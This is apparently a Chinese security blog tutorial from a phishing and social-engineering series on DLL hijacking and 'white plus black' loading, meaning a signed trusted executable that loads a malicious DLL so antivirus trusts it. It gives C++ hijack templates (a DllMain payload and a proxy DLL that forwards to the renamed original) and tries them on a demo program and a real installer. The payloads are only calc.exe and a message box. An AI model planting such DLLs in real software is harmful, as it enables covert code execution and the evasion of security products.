钓鱼与社工系列之dll劫持(白加黑)

钓鱼与社工系列之dll劫持(白加黑)

0x00 知识扫盲

0x00-1 什么是dll?

​ DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运行必不可少的功能模块,是实现代码重用的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。

0x00-2 DLL劫持漏洞(DLL Hijacking Exploit

​ 严格点说,它是通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的一类漏洞的统称。

​ DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary来看。熟悉Windows代码的同学都知道,调用LoadLibrary时可以使用DLL的相对路径。这时,系统会按照特定的顺序搜索一些目录,以确定DLL的完整路径。根据MSDN文档的约定,在使用相对路径调用LoadLibrary(同样适用于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的DLL文件(会根据SafeDllSearchMode配置而稍有不同)。

(参考链接:https://security.tencent.com/index.php/blog/msg/20)

程序所在目录。
加载 DLL 时所在的当前目录。
系统目录即 SYSTEM32 目录。
16位系统目录即 SYSTEM 目录。
Windows目录。
PATH环境变量中列出的目录

0x00-3 白加黑

​ 所谓的”白加黑”,笼统来说是”白exe”加”黑dll”,”白exe”是指带有数字签名的正常exe文件,那么”黑dll”当然是指包含恶意代码 的dll文件。病毒借助那些带数字签名且在杀毒软件白名单内的exe程序去加载自己带有恶意代码的dll,便能获得杀毒软件主动防御的自动信任,从而成功 加载到系统中。

0x01 编译介绍

Release的exe文件链接的是标准的MFC DLL(Use MFC in a shared or static dll)。这些DLL在安装Windows的时候已经配置,所以这些程序能够在没有安装Visual C++的机器上运行。而Debug版本的exe链接了调试版本的MFC DLL文件,在没有安装Visual C++的机器上不能运行,因为缺相应的DLL,除非选择use static dll when link。

静态编译:debug状态下:MTd release状态下:MT

动态编译:debug状态下:MDd release状态下:MD

动态编译的生成的可执行文件的exe小,但是运行需要系统环境具有相关的dll和lib文件,就是动态调用系统相关的文件才能运行;

静态编译生成的可执行文件exe大,但是运行的时候不依赖于系统环境所依赖的dll和lib等环境问题,在编译的时候已经这些dll相关文件编译进了exe文件,所以exe文件较大。所以需要自己创建的工程需要在别的电脑上运行,考虑到稳定性,同时对执行文件的大小没有要求的话还是尽量选择静态编译。

所以综上所述,我们选择静态编译,Release!

0x02 编写一个dll文件

创建dll项目

img

img

img

img

img

img

#include <Windows.h>
// 这是导出变量的一个示例
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
    MessageBox(NULL,L"_Title_",L"Hello",MB_OK);
    return;
}

img

img

img

0x03 两种劫持方法

0x03-1 第一种dll劫持场景:劫持程序运行时加载的未知dll文件

某个exe程序运行的时候,使用ProcessMonitor监听

1. result为NAME NOT FOUND,即找不到dll文件(dll文件名为A.dll)。

2. 该dll文件调用了LoadLibrary函数

3. 自己编写dll,重命名A.dll。

4. 重复之前的程序运行过程,就可以劫持

DllMain里的代码是程序加载dll文件时,可以选择

1.进程装载DLL。

2.进程卸载DLL。

3.DLL在被装载之后创建了新线程。

4.DLL在被装载之后一个线程被终止了

这四种情况下执行恶意代码,

测试dll文件是否可用性,可以执行rundll32 DllMain.dll aaaaaa(随便加函数名) 调用

一般选择DLL_PROCESS_ATTACH,则进程加载DLL时就会执行恶意代码

劫持dll的代码模板

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", SW_HIDE);            //我们要攻击的恶意代码
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

img

img

0x03-2 第二种dll劫持场景:劫持**某个功能(例如截图)所调用的dll文件

某个exe程序运行的时候,监控某个功能(例如截图)所调用的dll文件

1. 使用CFFExplorer工具查看该dll文件(dll文件名为B),导入目录里的kerbel32.dll里是否调用了LoadLibrary。

2. 如果调用了LoadLibrary,则在导出目录找导出的函数名(函数名为C)

3. 自己编写dll,重命名为B.dll,将原先的B.dll重命名为B_origin.dll。B.dll代码里用LoadLibrary调用B_origin.dll

4. 运行该程序的某个功能,即可劫持

代码demo

extern导出函数的代码可以用rundll32 dllExtern.dll test(函数名) 调用

extern “C” extern “C”使得在C++中使用C编译方式成为可能。在“C++”下定义“C”函数,需要加extern “C”关键词。用extern “C”来指明该函数使用C编译方式。输出的“C”函数可以从“C”代码里调用

__declspec(dllexport)的作用就是让编译器按照某种预定的方式(前面大致解释了这种方式的规则)来输出导出函数及变量的符号

img

#include <Windows.h>
// 这是导出变量的一个示例
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
    WinExec("calc.exe", SW_HIDE);
    return;
}

img

img

劫持dll的代码模板

假设程序加载的dll名字为B,B.dll的导出函数为C

劫持的dll名字改为B

B.dll改为B_Origin.dll

PrScrn改为C

PrScrn_Origial.dll改为B_Origin.dll

#include <Windows.h>
extern "C" __declspec(dllexport) void PrScrn();
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", SW_HIDE);            //我们要攻击的恶意代码
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
void PrScrn()
{
    MessageBox(NULL, L"DLL Hijack! by DLLHijacker!", L":)", 0);  //我们要攻击的恶意代码
    HINSTANCE hDllInst = LoadLibrary(L"PrScrn_Origial.dll");
    if (hDllInst)
    {
        typedef DWORD(WINAPI *EXPFUNC)();
        EXPFUNC exportFunc = NULL;
        exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "PrScrn");
        if (exportFunc)
        {
            exportFunc();
        }
        FreeLibrary(hDllInst);
    }
    return;
}

0x04 本地dll劫持场景模拟

模拟一个exe程序调用dll文件,然后用自己的dll去劫持

0x04-1 创建dll项目,项目名为aaa

源.cpp

#include <Windows.h>
// 这是导出变量的一个示例
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
    MessageBox(NULL, TEXT("我是程序运行时正常加载的dll"), TEXT("hello"), NULL);
    return;
}

img

0x04-2 创建一个MFC程序,模拟一个正常的exe去加载dll

img

img

一直下一步直到完成

从工具箱里托一个按钮

img

双击按钮,在OnBnClickedButton1函数里添加代码

void CMFC_aaaDlg::OnBnClickedButton1()
{
    // TODO: 在此添加控件通知处理程序代码
    typedef DWORD (*TEST)();
    HINSTANCE hLibrary;
    hLibrary = LoadLibrary(TEXT("aaa.dll"));                // 使用LoadLibrary加载dll
    TEST test = (TEST)GetProcAddress(hLibrary, "test");     // 获取dll文件的函数地址
    test();                                                 // 运行函数

}

img

编译即可。将aaa.dll文件拖到MFC_aaa.exe当前目录下

img

运行MFC_aaa.exe,点击Button1,成功加载aaa.dll文件

img

0x04-3 模拟劫持未知的dll文件

当MFC_aaa.exe程序运行的时候,会加载aaa.dll文件。那么当我们用ProcessMonitor去检测,发现aaa.dll文件不存在,并且还调用了LoadLibrary。那么此时就可以劫持。

环境开始模拟:MFC_aaa.exe当前目录下没有任何dll文件

img

使用ProcessMonitor监听

img

img

运行MFC_aaa.exe,点击button1发现程序加载aaa.dll文件,从当前目录开始查找,但是结果都是没有找到。

引出一个知识,dll查找路径

1.程序所在目录。
2.加载 DLL 时所在的当前目录。
3.系统目录即 SYSTEM32 目录。
4.16位系统目录即 SYSTEM 目录。
5.Windows目录。
6.PATH环境变量中列出的目录

img

查看aaa.dll的Stack,发现程序是通过LoadLibrary加载的aaa.dll,那么这种情况下就可以做劫持了。

img

开始编写劫持代码,使用DllMain进行劫持,如果劫持成功,就会弹出计算机。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", SW_HIDE);            //我们要攻击的恶意代码
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

img

将编译好的dllInject1.dll重命名为aaa.dll,并放到MFC_aaa.exe同目录下,运行MFC_aaa.exe。

成功劫持了MFC_aaa.exe运行时加载的dll文件

img

0x04-4 模拟劫持存在的dll文件

MFC_aaa.exe当前程序目录下面存在aaa.dll文件

img

img

运行MFC_aaa.exe

img

img

使用CFFExplorer查看aaa.dll文件

img

img

开始编写劫持代码,使用extern进行劫持,如果劫持成功,就会弹出计算机,并且弹框“DLL Hijack! by DLLHijacker!”

#include <Windows.h>
extern "C" __declspec(dllexport) void test();
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", SW_HIDE);            //我们要攻击的恶意代码
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
void test()
{
    MessageBox(NULL, L"DLL Hijack! by DLLHijacker!", L":)", 0);  //我们要攻击的恶意代码
    HINSTANCE hDllInst = LoadLibrary(L"aaa_Origial.dll");
    if (hDllInst)
    {
        typedef DWORD(WINAPI *EXPFUNC)();
        EXPFUNC exportFunc = NULL;
        exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "test");
        if (exportFunc)
        {
            exportFunc();
        }
        FreeLibrary(hDllInst);
    }
    return;
}

img

将编译好的文件放到MFC_aaa.exe同目录下,并且重命名为aaa.dll。原先的aaa.dll重命名为aaa_Origial.dll。

img

运行后成功劫持,弹出计算机和弹框

img

0x05 实战dll劫持

案例一:音速启动安装时的dll劫持

监控音速启动调用的dll

img

其中一个不存在的dll调用了LoadLibrary

img

编写劫持dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", SW_HIDE);            //我们要攻击的恶意代码
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

将dll重命名为Riched20.dll,并放到音速启动程序的同目录下

img

重新运行程序,成功弹出计算机

img

存在LoadLibraryExW的dll文件的导出目录如果是多个函数,每个函数都可以劫持!

   转载规则


《钓鱼与社工系列之dll劫持(白加黑)》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。